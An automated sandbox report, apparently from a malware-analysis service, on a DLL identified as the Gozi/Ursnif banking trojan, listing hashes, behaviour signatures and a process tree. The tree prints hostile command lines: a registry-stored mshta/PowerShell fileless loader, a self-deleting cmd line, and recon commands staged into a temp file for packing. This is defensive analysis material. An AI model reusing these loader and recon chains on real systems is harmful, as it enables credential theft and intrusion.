Overview

overview

10

Static

static

15870ef831...7f.dll

windows7_x64

10

15870ef831...7f.dll

windows10_x64

10

Resubmissions

22-01-2021 08:00

210122-gm8njs1zdn 5

03-12-2020 11:22

201203-8vnj2wyrex 10

Analysis

  • max time kernel
    123s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    03-12-2020 11:22

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    15870ef831ecc0908e86ca4ff0987ff42049bbaf96ee96db2761018854b7647f.dll

  • Size

    507KB

  • MD5

    b916ccb2a2bf0381133e5b8ef9782e1f

  • SHA1

    4a740790a645000119070122c710e1bac020bd25

  • SHA256

    15870ef831ecc0908e86ca4ff0987ff42049bbaf96ee96db2761018854b7647f

  • SHA512

    04f973bf5606bc585e9eacd2937503047b27530dfdf9a5b830fa2deb679fbbf84a9494504de6c37a8b48785dc7ccc74a1ab50b34a860729f66cdeb3bcfd2bcc8

Score
10/10
gozi_ifsbursnifbankerspywaretrojan

Malware Config

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Discovers systems in the same network 1 TTPs 1 IoCs
    discovery
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 85 IoCs
    adwarespyware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 129 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\15870ef831ecc0908e86ca4ff0987ff42049bbaf96ee96db2761018854b7647f.dll,#1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1668
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\15870ef831ecc0908e86ca4ff0987ff42049bbaf96ee96db2761018854b7647f.dll,#1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2032
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\B3914E35-76AB-5DAC-1897-0AE1CCBBDEA5\\\Adtsgsvc'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:1108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\B3914E35-76AB-5DAC-1897-0AE1CCBBDEA5").apiMbrkr))
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kqc5zmdv\kqc5zmdv.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1716
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCEB4.tmp" "c:\Users\Admin\AppData\Local\Temp\kqc5zmdv\CSCE8102C50FCB24E87B8E99A43D9AB554.TMP"
            5⤵
              PID:1068
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v3z2l2cf\v3z2l2cf.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:944
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD01B.tmp" "c:\Users\Admin\AppData\Local\Temp\v3z2l2cf\CSC4F2AEBEAF7A94D53A280E7E677E40A9.TMP"
              5⤵
                PID:660
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\15870ef831ecc0908e86ca4ff0987ff42049bbaf96ee96db2761018854b7647f.dll"
          2⤵
          • Deletes itself
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2040
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:1492
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\8D1C.bi1"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1568
          • C:\Windows\system32\nslookup.exe
            nslookup myip.opendns.com resolver1.opendns.com
            3⤵
              PID:604
          • C:\Windows\system32\cmd.exe
            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8D1C.bi1"
            2⤵
              PID:2016
            • C:\Windows\system32\cmd.exe
              cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
              2⤵
                PID:1972
                • C:\Windows\system32\systeminfo.exe
                  systeminfo.exe
                  3⤵
                  • Gathers system information
                  PID:1804
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:1496
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                  2⤵
                    PID:816
                  • C:\Windows\system32\cmd.exe
                    cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                    2⤵
                      PID:1984
                      • C:\Windows\system32\net.exe
                        net view
                        3⤵
                        • Discovers systems in the same network
                        PID:1632
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                      2⤵
                        PID:1668
                      • C:\Windows\system32\cmd.exe
                        cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                        2⤵
                          PID:1316
                          • C:\Windows\system32\nslookup.exe
                            nslookup 127.0.0.1
                            3⤵
                              PID:1488
                          • C:\Windows\system32\cmd.exe
                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                            2⤵
                              PID:2016
                            • C:\Windows\system32\cmd.exe
                              cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                              2⤵
                                PID:1224
                                • C:\Windows\system32\tasklist.exe
                                  tasklist.exe /SVC
                                  3⤵
                                  • Enumerates processes with tasklist
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1532
                              • C:\Windows\system32\cmd.exe
                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                                2⤵
                                  PID:692
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                                  2⤵
                                    PID:1560
                                    • C:\Windows\system32\driverquery.exe
                                      driverquery.exe
                                      3⤵
                                        PID:1208
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                                      2⤵
                                        PID:556
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                                        2⤵
                                          PID:1720
                                          • C:\Windows\system32\reg.exe
                                            reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                            3⤵
                                              PID:272
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                                            2⤵
                                              PID:1520
                                            • C:\Windows\system32\cmd.exe
                                              cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\82AC.bin1 > C:\Users\Admin\AppData\Local\Temp\82AC.bin & del C:\Users\Admin\AppData\Local\Temp\82AC.bin1"
                                              2⤵
                                                PID:1432
                                              • C:\Windows\system32\makecab.exe
                                                makecab.exe /F "C:\Users\Admin\AppData\Local\Temp\3FA6.bin"
                                                2⤵
                                                  PID:1984
                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                1⤵
                                                • Modifies Internet Explorer settings
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of SetWindowsHookEx
                                                • Suspicious use of WriteProcessMemory
                                                PID:1372
                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1372 CREDAT:275457 /prefetch:2
                                                  2⤵
                                                  • Modifies Internet Explorer settings
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:968
                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                1⤵
                                                • Modifies Internet Explorer settings
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of SetWindowsHookEx
                                                • Suspicious use of WriteProcessMemory
                                                PID:1900
                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1900 CREDAT:275457 /prefetch:2
                                                  2⤵
                                                  • Modifies Internet Explorer settings
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:1612
                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                1⤵
                                                • Modifies Internet Explorer settings
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of SetWindowsHookEx
                                                • Suspicious use of WriteProcessMemory
                                                PID:988
                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:988 CREDAT:275457 /prefetch:2
                                                  2⤵
                                                  • Modifies Internet Explorer settings
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:904
                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:988 CREDAT:209936 /prefetch:2
                                                  2⤵
                                                  • Modifies Internet Explorer settings
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:1260

                                              Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • memory/380-3-0x000007FEF6F80000-0x000007FEF71FA000-memory.dmp

                                                Filesize

                                                2.5MB

                                                Download

                                              • memory/816-37-0x000000001C490000-0x000000001C52B000-memory.dmp

                                                Filesize

                                                620KB

                                                Download

                                              • memory/816-18-0x0000000001E30000-0x0000000001E31000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/816-28-0x0000000001FC0000-0x0000000001FC1000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/816-19-0x000000001B570000-0x000000001B571000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/816-16-0x000000001AB90000-0x000000001AB91000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/816-20-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/816-14-0x000007FEF2B20000-0x000007FEF350C000-memory.dmp

                                                Filesize

                                                9.9MB

                                                Download

                                              • memory/816-17-0x0000000002590000-0x0000000002591000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/816-36-0x0000000002500000-0x0000000002501000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/816-15-0x0000000002050000-0x0000000002051000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/904-12-0x00000000066B0000-0x00000000066D3000-memory.dmp

                                                Filesize

                                                140KB

                                                Download

                                              • memory/968-5-0x0000000005F20000-0x0000000005F43000-memory.dmp

                                                Filesize

                                                140KB

                                                Download

                                              • memory/1268-53-0x0000000006FE0000-0x0000000007071000-memory.dmp

                                                Filesize

                                                580KB

                                                Download

                                              • memory/1268-39-0x0000000004D90000-0x0000000004E2B000-memory.dmp

                                                Filesize

                                                620KB

                                                Download

                                              • memory/2032-42-0x00000000001B0000-0x00000000001C0000-memory.dmp

                                                Filesize

                                                64KB

                                                Download

                                              • memory/2040-43-0x0000000001C70000-0x0000000001D0B000-memory.dmp

                                                Filesize

                                                620KB

                                                Download